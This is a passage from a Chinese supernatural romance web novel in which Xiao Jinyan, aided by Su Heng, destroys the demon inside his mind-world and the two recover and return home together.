对上的,是宿珩那双,清冷得不带一丝杂质的眼眸。 那里面,没有恐惧,没有厌恶,也没有任何的算计与利用。 有的。 只是浓得化不开的,几乎要将人溺毙的……心疼。 宿珩看着他。 看着他满是血污的脸,看着他头顶那顶,已经彻底被鲜血染红的荆棘之冠。 看着他眼底,那片正在与无边黑暗,做着最后抗争的,微弱的清明。 宿珩默默收紧了自己的手。 他用一种,近乎于宣誓般无比郑重的姿态,将自己的手指,一根一根地嵌入了肖靳言的指缝之间。 十指紧扣。 严丝合缝。 “离开这里。” 宿珩开口。 他的声音很轻,带着伤后特有的沙哑,却蕴含着一种,足以穿透所有蛊惑与黑暗的,温柔而坚定的力量。 “肖靳言。” “我来带你回家。” …… 回家。 这两个字,像一道撕裂了无尽永夜的温暖晨光。 在肖靳言早已被黑暗与绝望彻底侵占的世界里,悍然投下了一束,足以驱散所有阴霾的滚烫的光。 他眼底那片,正在与无边黑暗做着最后抗争的微弱清明,在这一瞬间骤然大盛。 混乱与疯狂,如退潮般,迅速地从他的眼底褪去。 取而代之的,是宿珩所熟悉的,那种深邃而沉稳的,仿佛能包容一切的黑沉眸光。 肖靳言静静看着宿珩。 看着他苍白的脸,看着他唇上还沾着彼此交融的血迹,心脏像是被一只无形的手狠狠攥住,疼得他几乎要窒息。 “嗯。” 他应了一声,声音沙哑得不成样子。 “我们一起……回家。” 话音落下的瞬间。 那只盘踞在他们面前的巨大怪物,发出了一声充满了不甘与暴怒的疯狂咆哮。 “不——!” “你不能——!” 恶魔那双猩红如血的巨大眼眸,死死地锁定在肖靳言的身上,里面燃烧着足以焚尽一切的怨毒火焰。 “你忘了吗?是谁,在你最绝望的时候,回应了你的召唤!” “是谁,在你被全世界抛弃的时候,赐予了你足以毁灭一切的力量!” “是我!是我啊!” “你是我的一部分!你永远也摆脱不了我!” 恶魔的声音,像一道道淬了毒的诅咒,疯狂地冲击着肖靳言的灵魂。 然而。 这一次,肖靳言的脸上,却再也没有了丝毫的动摇。 他只是用那双重新恢复了清明的眼眸,冷冷地瞥了它一眼。 “闭嘴。” 肖靳言的语气,平静得没有一丝波澜。 “该结束了。” 这句轻描淡写的话,却像一记最响亮的耳光,狠狠地抽在了恶魔的脸上。 它那充满了怨毒与蛊惑的嘶吼,戛然而止。 取而代之的,是火山爆发般的暴怒。 “吼——!” 恶魔张开了那张布满了层层利齿的血盆大口,一道由纯粹的黑暗与毁灭能量所凝聚而成的吐息,朝着两人喷涌而来! 那股力量,足以将钢铁瞬间融化,将岩石彻底腐蚀。 面对这毁天灭地的一击。 肖靳言的脸上却没有丝毫的惧色。 他甚至没有去看那道已经近在咫尺的死亡吐息。 他只是低下头,用一种,近乎于虔诚的姿态,轻轻吻了吻宿珩那冰冷的,沾染着彼此血迹的嘴唇。 “站稳了。” 就在那道黑色的死亡吐息,即将要将他们彻底吞噬的瞬间。 肖靳言缓缓抬起了手。 没有惊天动地的巨响。 也没有想象中的剧烈撞击。 那道足以毁灭一切的黑色能量洪流,在距离肖靳言指尖还有一寸的地方,竟然毫无征兆地,停了下来。 时间,仿佛在这一刻被凝固。 那狂暴的能量,就像一条被扼住了喉咙的毒蛇,在他的面前疯狂地扭曲,挣扎,却始终无法再前进分毫。 肖靳言的眼神,冰冷而漠然。 他才是这扇心门的主人。 这里的一切,都源自于他的意志。 这只恶魔,是他绝望的产物,却也同样,受他最深层意识的支配。 当他选择沉沦,恶魔便能吞噬他。 可当他选择清醒…… “我说过。” 肖靳言五指微屈,轻轻一握。 “该结束了。” “轰——!” 那道被禁锢在半空中的黑色能量洪流,竟然像是受到了某种指令,猛地调转方向,以一种比来时更加狂暴百倍的姿态,狠狠地轰回了恶魔自己的身上! “啊啊啊啊——!” 一声凄厉到难以想象的惨叫,响彻了整个空间。 恶魔那庞大的身躯,被森*晚*整*理自己最强大的攻击,给硬生生地轰飞了出去,重重砸在远处的石壁上,激起漫天烟尘。 它身上那坚不可摧的黑色鳞甲,被炸得寸寸龟裂,流淌出粘稠如石油般的黑色血液。 “你这个……叛徒!” 恶魔挣扎着从碎石堆里爬起来,它看着肖靳言,猩红的眼眸里,终于第一次,流露出了一丝,名为恐惧的情绪。 它想不明白。 为什么? 为什么这个男人,可以如此轻易地,就摆脱了自己用无尽欲望所编织的,最完美的牢笼? 肖靳言没有给它思考的时间。 他将宿珩轻轻地打横抱起,仿佛抱着全世界的重量。 然后,他一步一步,朝着那头已经身受重伤的怪物,缓缓走去。 他的脚步很稳。 每一步落下,整个地下空间,都会随之发出一声沉闷的轰鸣。 那些缠绕在恶魔身上的,由规则所化的,近乎于半透明的铁链,随着他的走近,开始一根一根地,重新变得凝实,并且发出令人牙酸的“咯咯”声,不断地向内收紧! “不……不……放开我!” 恶魔终于感到了发自灵魂深处的恐惧。 它疯狂地挣扎着,那条布满了骨刺的粗壮尾巴,在地面上胡乱地拍打,抽出了一道道深不见底的恐怖沟壑。 可这一切,都是徒劳。 那些铁链,是肖靳言意志的延伸。 是他为自己,也为这头怪物,亲手打造的囚笼。 肖靳言走到了它的面前,居高临下地,俯视着这头,曾经将他拖入无边地狱的,自己的一部分。 “你赐予我的力量?” 肖靳言的嘴角,勾起了一抹充满了嘲讽的弧度。 “不。” “你只是,窃取了本就属于我的东西。” “现在……” 他的眼神,瞬间变得冰冷刺骨。 “物归原主。” 话音落下的瞬间。 肖靳言伸出了空着的那只手。 他的手,毫无阻碍地,穿透了恶魔那坚硬的鳞甲,径直地,插进了它那由纯粹恶意所构成的,滚烫的胸膛! “吼——!” 恶魔发出了此生最痛苦的咆哮。 肖靳言的手,在它的身体里,抓住了一个正在疯狂跳动着的,由无尽黑暗能量所凝聚而成的核心。 那是它的力量之源。 也是……原属于崩坏的无限世界的规则核心。 “再见了,无限世界。” 肖靳言的声音,不带一丝情感。 他猛地一握! “砰——!” 那颗黑色的能量核心,应声而碎! 化作最纯粹的,不带任何杂质的磅礴力量,像决堤的洪水,疯狂地涌入肖靳言的身体。 而那头巨大的恶魔,则像是被抽走了所有骨头的烂肉,在一瞬间,彻底失去了所有的力量与光泽。 它的身体,开始以一种肉眼可见的速度,寸寸崩解消散。 化作点点黑色的光尘,最终,彻底消失在了空气里。 随着恶魔的消亡。 这个由绝望与恶意所构筑的,充满了不详与亵渎的地下祭坛,也开始剧烈地晃动起来。 头顶的穹顶,开始大块大块地剥落。 脚下的地面,裂开了一道道深不见底的巨大缝隙。 这个心门世界,正在崩溃。 肖靳言却像是没有察觉到周围的末日景象。 他只是低下头,专注地看着怀里的人。 宿珩靠在他的胸口,因为脱力而紧闭着双眼,长长的睫毛,在苍白的脸上,投下了一小片脆弱的阴影。 那顶沾满了血污的荆棘之冠,早已在刚才的冲击中脱落。 他额角那道被荆棘刺破的伤口,还在向外渗着血,看起来触目惊心。 肖靳言伸出手,指尖凝聚起一团温和的,属于他自己的力量,轻轻地覆在了宿珩的伤口上。 伤口,以肉眼可见的速度,迅速愈合。 连一丝疤痕,都没有留下。 做完这一切,肖靳言才终于松了一口气。 他低下头,用自己的额头,轻轻地抵住了宿珩光洁的额头。 感受着对方平稳的呼吸与心跳。 感受着这个,将他从无边地狱里,重新拉回人间的……真实。 “抓稳了。” 他在宿珩的耳边,用一种,充满了无尽珍视与缱绻的沙哑声音,低声说道。 “我们回家。” 下一秒。 一道乳白色的光柱落下。 在整个世界彻底崩塌的前一秒,两人在白色光柱的包裹下,化作一道流光,离开了这片……绝望之地。《 》 (全文完) 第117章 第 117 章 世界的悲鸣(…… 防空洞外, 死寂得能听见风刮过荒野的呜咽声。 厚重的混凝土建筑像一头沉默的巨兽,匍匐在苍凉的夜色里,无声地吞噬着时间和希望。 时间, 已经过去整整七天了。 “不行,不能再等下去了。” 一个穿着笔挺黑色制服,肩上扛着金色徽章的中年男人, 终于打破了这片令人窒息的沉寂。 他的面容严肃,眼神锐利,正是京州办事处的最高负责人, 魏局。 魏局焦躁地在原地踱着步, 脚下的军靴踩在沙土地上, 发出沉闷而烦躁的摩擦声,像一头被困在笼中的猛兽。 “已经七天了!” “超过了我们预估的最高时限, 整整四天!” 他猛地停下脚步,锐利的目光如刀子般,射向身边那个从始至终都像一尊雕塑般站着的男人。 “岑医生!” “里面的精神污染指数,从三天前开始就彻底失去了信号, 现在是什么情况, 我们一无所知!” 魏局的声音里, 压抑着风暴般的怒火。 “如果他们失败了, 如果肖靳言被那个东西彻底吞噬,你知道那意味着什么吗?” 那意味着, 一个拥有了自主意识,并且可以自由行走在现实世界的, SSS级心门。 那将是,一场席卷全世界的,无法被阻止的灾难。 是人类文明的末日。 岑医生没有看他。 他的目光, 始终死死地胶着在那扇冰冷的,仿佛能隔绝一切生机的金属大门上。 七天七夜,不眠不休。 他的脸上,早已没了平日里的温和儒雅,下巴上冒出了青色的胡茬,眼眶深陷,布满了骇人的血丝。 整个人都透着一种紧绷到极致的,近乎偏执的固执。 “我相信他们。” 岑医生的声音,沙哑得像被无数砂纸狠狠磨过。 “我信肖靳言。” 他顿了顿,声音更低,却也更坚定。 “更信宿珩。” “相信?” 魏局发出一声短促的冷笑,语气里满是无法压抑的烦躁与讥讽。 “这不是一场赌博,岑医生!” “我们赌不起!整个世界都赌不起!” 他猛地抬起手,指向不远处那些已经进入一级战备状态,炮口全部对准了防空洞入口的重型武器。 每一台武器上,都闪烁着危险的红光,如同地狱里睁开的魔眼。 “我的指令已经下达。” 魏局的声音冷酷得不带一丝情感。 “再过一个小时,如果他们还没出来,这里,连同里面的一切,都将被彻底夷为平地。” 岑医生的嘴唇,几不可察地抖了一下。 他握紧的拳头,指节因为过度用力而根根泛白,发出细微的“咯咯”声。 就在这时。 “咔——” 一声极其细微,却又在死寂的空气中无比清晰的碎裂声,毫无征兆地,从防-洞内部传了出来。 那声音,像是第一块从冰封万年的湖面上,崩裂开的浮冰。 在场所有人的心脏,都随着这声轻响,猛地一跳。 紧接着。 “噼里啪啦——!” 无数镜面接连不断碎裂的声音,如同骤然响起的一阵密集的爆竹,从那扇厚重的金属门后,疯狂地传了出来! 那声音,尖锐,刺耳,带着一种摧枯拉朽般的决绝。 仿佛一个旧世界的彻底崩塌。 岑医生和魏局的脸色,在这一瞬间,同时剧变。 镜子迷宫,是进入肖靳言心门世界的第一道,也是最后一道屏障。 镜子碎裂,代表着这场在精神世界里的交锋,已经彻底结束。 可是,究竟是谁赢了? 是肖靳言……还是那个恶魔? “所有人注意!” 魏局的反应快到了极点,他几乎是朝着通讯器,用尽全力地嘶吼。 “启动最高级别物理屏障!所有攻击单位准备,听我指令,随时准备开火!” “等等!” 岑医生猛地抓住他的手臂,布满血丝的眼睛死死盯着他,声音嘶哑地恳求。 “再给他们一点时间!就一点!” “没有时间了!” 魏局一把甩开他的手,眼神冷得像一块万年不化的寒冰。 “无论是谁出来,我们都必须做好最坏的打算!” “轰隆——轰隆——” 沉重的金属摩擦声接连响起。 一道道厚达半米的钛合金闸门,在防空洞外围迅速升起,将这片区域彻底封锁成了一座固若金汤的钢铁牢笼。 所有重型武器的炮口,都亮起了代表着能量正在极速凝聚的,刺眼的红光。 空气,仿佛在这一刻被彻底抽空。 压抑得,让人喘不过气。 就在这剑拔弩张,一触即发的死寂之中。 “轰隆隆——” 那扇隔绝了内外整整七天的,厚重无比的金属大门,在一阵令人牙酸的轰鸣声中,开始缓缓向上升起。 一道漆黑的,深不见底的甬道入口,如同一只巨兽张开的嘴,出现在众人面前。 里面,是能吞噬一切光线的黑暗。 所有人都下意识地屏住了呼吸,心脏提到了嗓子眼,死死地盯着那个幽深的洞口。 时间一分一秒地过去。 每一秒,都漫长得像一个世纪。 终于。 两道相互搀扶着的,摇摇欲坠的身影,从那片深邃的黑暗里,一步,一步,走了出来。 走在左边的那个人,身形高大挺拔,却显得异常狼狈。 他身上那件黑色的紧身T恤,早已被汗水和不知是谁的血污浸透,变得破破烂烂,紧贴着肌理分明的上身。 头顶的发丝凌乱,脸上还残留着已经干涸的血迹。 整个人都透着一股刚刚从尸山血海里爬出来的,惨烈而暴戾的煞气。 而在他怀里,几乎是将全身的重量,都虚弱地倚靠在他身上的。 是那个黑发的青年。 宿珩的脸色,苍白得像一张没有生气的纸,没有一丝血色。 他双眼紧闭,长长的睫毛在惨白的探照灯下,投下一小片脆弱的阴影。 呼吸微弱得,仿佛随时都会断绝。 当看清那两张脸的瞬间。 岑医生感觉自己浑身的力气,都像是被瞬间抽空了。 那根紧绷了七天七夜,几乎要将他整个人都勒断的弦,终于,彻底松了下来。 一股巨大的,劫后余生般的狂喜与酸涩,猛地冲上了他的眼眶。 视线,瞬间变得模糊。 肖靳言搀扶着宿珩,走出了防空洞。 当刺眼的探照灯光芒,与郊外夜晚冰冷的空气,一同包裹住他时,他才终于有了一种,从无边地狱重返人间的,不真切的实感。 他抬起头,一眼就看到了不远处,那个正抬手,用袖子胡乱擦着眼睛的岑医生。 肖靳言的嘴角,缓缓向上勾起。 那张沾染着血污与疲惫的英俊脸庞上,重新浮现出了那种众人所熟悉的,带着几分痞气与玩世不恭的懒散笑意。 “啧。” 他冲着岑医生,不轻不重地挑了挑眉,声音因为极度的虚弱而沙哑得厉害,像破旧的风箱。 “我还是第一次知道。” “原来我们不苟言笑的岑大医生,也会哭鼻子啊。” 那熟悉的,欠揍到让人牙痒的语调,让岑医生刚刚才平复下去的情绪,瞬间又翻涌了上来。 他猛地放下手臂,露出一双因为激动而通红的眼睛,想也不想,直接冲着肖靳言骂了回去。 “哭你妈!” “老子这是沙子进眼睛了!” 骂完,岑医生快步走了上去,脚步甚至有些踉跄。 他没有再理会那个笑得一脸欠揍的肖靳言,而是将目光,落在了他怀里那个面色苍白,陷入昏迷的青年身上。 看着宿珩那张毫无血色的脸,看着他唇角那几乎看不见的细微伤痕。 岑医生脸上的怒气,瞬间消散得一干二净。 取而代之的,是一种,发自内心的,无比郑重的感激与敬意。 他深吸了一口气,对着宿珩,也对着肖靳言,真心实意地,深深鞠了一躬。 “谢谢你。” 岑医生的声音,带着一丝无法抑制的颤抖。 “谢谢你,救了肖靳言。” 他抬起头,看着肖靳言,一字一句地补充道。 “也谢谢你,解决了这个世界上,最大的一颗定时炸弹。” 宿珩的眼睫,似乎是听到了他的声音,轻轻地颤动了一下,但却没有醒来。 他只是下意识地,朝着身边那个温暖而坚实的怀抱,更深地,更依赖地,靠了过去。 那是一种,将自己的一切都全然交付的,绝对信任的姿态。 肖靳言看着他的动作,眼底那片深沉的墨色,瞬间变得柔软得一塌糊涂。 听到岑医生的道谢,肖靳言脸上的笑意更深了。 他伸出那只没受伤的手,一把将宿珩那劲瘦的腰,更加用力地,以一种充满了绝对占有欲的姿态,死死地,搂进了自己的怀里,仿佛在宣告着主权。 “那是当然。” 肖靳言扬了扬下巴,那副得意又嚣张的模样,仿佛刚才那个差点毁天灭地的恶魔,跟他没有半点关系。 “也不看看。” 他低下头,目光落在宿珩苍白的脸上,声音刻意压低,却又清晰得足以让周围的人都听见。 “是谁的爱人。” 最后那两个字。 他咬得极轻,极缓。 像一句情人间的亲密呢喃,带着一股餍足后的慵懒与缱绻。 可这轻飘飘的两个字,落在刚刚才走过来,还没来得及解除警报的魏局耳朵里,却不亚于一颗在平地炸响的惊天巨雷。 魏局瞪大了眼,难以置信地看着肖靳言,又看了看他怀里那个,怎么看都跟“爱人”这两个字画风不符的清冷青年。 整个人的世界观,都受到了前所未有的冲击。 而就在这时。 一直昏迷不醒的宿珩,像是被这两个字烫到了一般。 他紧闭的眼睫,猛地颤了颤。 然后,在众人惊愕的注视下。 宿珩缓缓睁开了眼。 那双清冷的,不带一丝杂质的眼眸,还有些失焦,蒙着一层刚醒来时的水汽。 他似乎还没完全从那场耗尽了所有心神的战斗中,彻底清醒过来。 只是本能地,抬起手肘。 用一种没什么力道的,近乎于嗔怪的姿态,轻轻地,怼了一下身旁那个正笑得一脸得意的男人。 那意思,仿佛在说。 闭嘴。 别在外面乱说话。 那记没什么力道的肘击,落在肖靳言结实的腰腹上,更像是一种带着薄怒的调情。 肖靳言脸上的笑意更深了。 他不但没有松手,反而将手臂收得更紧,几乎要将怀里的人,彻底揉进自己的骨血里。 这副旁若无人的亲昵姿态,让岑医生一阵无语。 “都愣着干什么!” 岑医生第一个反应过来,他冲着不远处待命的医疗队,厉声吼道,“快过来!准备最高级别的隔离检查!” 医疗人员如梦初醒,推着担架车和各种仪器,快步冲了过来。 然而,当他们试图将宿珩从肖靳言怀里接过去的时候,却被肖靳言一个冰冷的眼神,给硬生生地逼停在了原地。 “他由我来。” 肖靳言的声音不大,却带着不容反抗的强势。 他没有理会周围人错愕的目光,只是小心翼翼地调整了一下姿势,然后,无比自然地将已经再次陷入昏睡的宿珩,打横抱了起来。 抱着宿珩,肖靳言迈开脚步,径直朝着办事处内部的医疗隔离区走去。 岑医生快步跟上,看着肖靳言那副理所当然的护食模样,头疼地揉了揉眉心,最终只能无奈地叹了口气。 接下来的六天,是在绝对的隔离中度过的。 宿珩醒来的时候,是在一间纯白色的,没有任何多余装饰的房间里。 空气里弥漫着消毒水那清冷而干净的味道。 他动了动手指,才发现自己的右手,正被另一只温暖干燥的大手,紧紧地包裹着。 宿珩偏过头。 肖靳言就坐在他的床边,靠在椅背上睡着了。 他似乎睡得并不安稳,眉头微微蹙着,脸上还带着未曾褪尽的疲惫,下巴上冒出了一圈青色的胡茬,让他那张英俊硬朗的脸,平添了几分沧桑与不羁。 可即便是睡着了,他握着宿珩的手,却依旧没有丝毫的松懈。 宿珩安静地看着他。 脑海里,不由自主地,闪过了心门世界里,那些疯狂而失控的画面。 那个充满了血腥与掠夺的吻。 那只怪物冰冷滑腻的舌头。 还有最后,他压在肖靳言身上,用尽全力咬破他嘴唇时,那股在唇齿间炸开的,混杂着两个人血液的甜腥味。 宿珩下意识地,伸出舌尖,轻轻舔了一下自己的嘴唇。 仿佛还能感受到,那上面残留着的,属于另一个人的,滚烫的印记。 似乎是察觉到了他的动静,肖靳言长长的睫毛,轻轻颤动了一下,然后,缓缓睁开了眼。 那双刚刚才恢复了清明的深邃眼眸,在看到宿珩醒来的瞬间,瞬间被一种,混杂着狂喜与庆幸的,灼热的光芒所点亮。 “你醒了。” 肖靳言的声音沙哑得厉害。 他没有问宿珩感觉怎么样,只是反手更加用力地握紧了他的手,然后将两个人的手,一同举到了自己的唇边,用一种近乎于虔诚的姿态,轻轻吻了一下宿珩冰凉的指节。 “感觉怎么样?” 岑医生推门而入,打断了房间里那份安静的温情。 他手里拿着一份刚刚才出来的检测报告,脸上带着一丝如释重负的轻松。 “从数据上看,你们两个人的精神波动和身体机能,都已经基本恢复正常。” 岑医生推了推鼻梁上的眼镜,“不过,为了保险起见,后续的观察和检测,还需要再持续几天。” 等到岑医生离开后,房间里,再一次恢复了安静。 宿珩靠在床头,肖靳言则坐在床边,削着一个苹果。 他削苹果的动作很笨拙,刀锋在果皮上划过,深一刀浅一刀,坑坑洼洼。 这与他平日里那副无论做什么都游刃有余的强大模样,形成了鲜明的反差。 “对不起。” 肖靳言低着头,声音有些闷。 宿珩的视线,从他手里的苹果,移到了他那张英俊的侧脸上。 “为什么道歉?” “我不该失控。” 肖靳言的动作顿了顿,声音更沉了几分,“更不该……弄伤你。” 宿珩没有说话。 他只是伸出手,用指腹,轻轻碰了一下肖靳言的嘴唇。 那里,还留着一个,被他咬出来的,已经结了痂的浅浅牙印。 “你也受伤了。”宿珩的声音很平静,“我们扯平了。” 肖靳言猛地抬起头,对上了宿珩那双平静得如同一潭深水的眼眸。 他想说,那不一样。 他想说,他宁愿自己被撕成碎片,也不愿看到宿珩受到一丝一毫的伤害。 可所有的话,在对上那双眼睛的时候,都化作了无声的酸涩与滚烫的暖流,堵在了喉咙里。 最终,他只是扔掉了手里那个被削得惨不忍睹的苹果。 然后,伸出双臂,将眼前这个,将他从无边地狱里拉回来的人,紧紧拥进了怀里。 第七天。 岑医生拿着最后一沓检测报告,表情复杂地宣布,他们可以离开隔离区了。 “肖靳言体内的那股崩坏能量,已经被他完全吸收并且掌控了。” 办公室里,岑医生对着魏局,解释着最终的检测结果,“他现在,很安全。比以前任何时候,都要安全。” 魏局点了点头,那张严肃的脸上,终于露出了一丝,不易察觉的松弛。 “但是……”岑医生话锋一转,“隐患并没有完全消除。” 魏局自然明白。 他轻轻叹了口气。 最大的隐患虽然解决了,但是过去那些从无限世界遁逃到现实世界的鬼怪们,仍像病毒一样,寄生在各个城市的阴暗角落。 除此外,还有“筑梦人”的存在。 都是一堆要消耗巨大精力和时间的麻烦事。 办公室里,陷入了短暂的沉默。 这是一场,看不见硝烟,却远比任何战争都要持久和残酷的战斗。 …… 肖靳言开着车,载着宿珩,驶离了隔离区。 黑色的越野车,汇入了京州傍晚拥挤的车流。 晚霞正好。 车水马龙,人声鼎沸。 京州是一片繁华而安宁的景象。 他不再是孤身一人,在无边的黑暗里,与自己内心的恶魔,做着徒劳的抗争。 肖靳言转过身,视线落在副驾的宿珩身上。 宿珩也正看着他。 四目相对。 千言万语,都融化在了那一个,彼此都心知肚明的眼神里。 他们是战友。 更是爱人。 未来的路,还很长。 但只要身边有彼此,无论是面对怎样的深渊,他们都有,一起走下去的勇气。 “回去要大战三百回合吗?” 肖靳言握着方向盘,目视前方,嘴角却带着一丝懒散的笑意。 “三百回合是不是太少了点?” 宿珩靠在副驾驶的座椅上,似笑非笑地应了一声。 肖靳言顿时哈哈大笑。 宿珩也笑了,他偏过头,看着窗外飞速倒退的,被夕阳染成金色的城市街景,整个人都透着一种沉浸在阳光下的倦懒。 在等红灯的间隙,肖靳言腾出一只手,握住了宿珩。 他用拇指轻轻摩挲着他的手背。 宿珩没有说话。 他只是抽回了自己的手,然后,在肖靳言那略带不满的注视下,主动地将自己的手指,一根一根地,嵌入了对方的指缝之间。 十指紧扣。 严丝合缝。 肖靳言嘴角的弧度,瞬间扬得更高了。 他很庆幸。 在坠入最深的绝望之后,还能重新回到这片,有着他的……人间。 (全文完)《 》